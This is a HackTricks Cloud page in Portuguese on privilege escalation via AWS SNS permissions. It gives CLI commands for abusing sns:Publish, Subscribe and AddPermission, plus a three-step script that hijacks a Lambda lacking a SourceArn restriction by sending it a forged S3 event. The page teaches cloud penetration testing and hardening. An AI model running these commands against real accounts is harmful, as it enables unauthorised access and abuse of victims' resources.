AWS - SNS Privesc
Reading time: 4 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
SNS
Para mais informações, consulte:
sns:Publish
Um atacante poderia enviar mensagens maliciosas ou indesejadas ao tópico SNS, potencialmente causando corrupção de dados, acionando ações não intencionais ou esgotando recursos.
aws sns publish --topic-arn <value> --message <value>
Impacto Potencial: Exploração de vulnerabilidades, corrupção de dados, ações não intencionais ou exaustão de recursos.
sns:Subscribe
Um atacante poderia se inscrever em um tópico SNS, potencialmente obtendo acesso não autorizado a mensagens ou interrompendo o funcionamento normal de aplicações que dependem do tópico.
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
Impacto Potencial: Acesso não autorizado a mensagens (informações sensíveis), interrupção de serviço para aplicações que dependem do tópico afetado.
sns:AddPermission
Um atacante poderia conceder a usuários ou serviços não autorizados acesso a um tópico SNS, potencialmente obtendo permissões adicionais.
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
Impacto Potencial: Acesso não autorizado ao tópico, exposição de mensagens ou manipulação do tópico por usuários ou serviços não autorizados, interrupção do funcionamento normal de aplicações que dependem do tópico.
Invocar uma Lambda abusando de permissão curinga do SNS (no SourceArn)
Se a política basada em recurso da função Lambda permitir que sns.amazonaws.com a invoque sem restringir o tópico de origem (SourceArn), qualquer tópico SNS (mesmo em outra conta) pode se inscrever e acionar a função. Um atacante com permissões básicas de SNS pode forçar a Lambda a executar sob sua IAM role com entrada controlada pelo atacante.
tip
TODO: Isso realmente pode ser feito entre contas?
Precondições
- A política da Lambda vítima contém uma declaração como abaixo, sem condição
SourceArn:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {"Service": "sns.amazonaws.com"},
"Action": "lambda:InvokeFunction"
// No Condition/SourceArn restriction here
}
]
}
Etapas de abuso (mesma conta ou entre contas)
# 1) Create a topic you control
ATTACKER_TOPIC_ARN=$(aws sns create-topic --name attacker-coerce --region us-east-1 --query TopicArn --output text)
# 2) Subscribe the victim Lambda to your topic
aws sns subscribe \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--protocol lambda \
--notification-endpoint arn:aws:lambda:us-east-1:<victim_acct_id>:function:<VictimFunctionName>
# 3) Publish an attacker-controlled message to trigger the Lambda
aws sns publish \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--message '{"Records":[{"eventSource":"aws:s3","eventName":"ObjectCreated:Put","s3":{"bucket":{"name":"attacker-bkt"},"object":{"key":"payload.bin"}}}]}'
Impacto Potencial: A Lambda vítima é executada com seu IAM role, processando entrada controlada pelo atacante. Isso pode ser abusado para fazer a função executar ações sensíveis (por exemplo, write to S3, access secrets, modify resources) dependendo das suas permissões.
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
HackTricks Cloud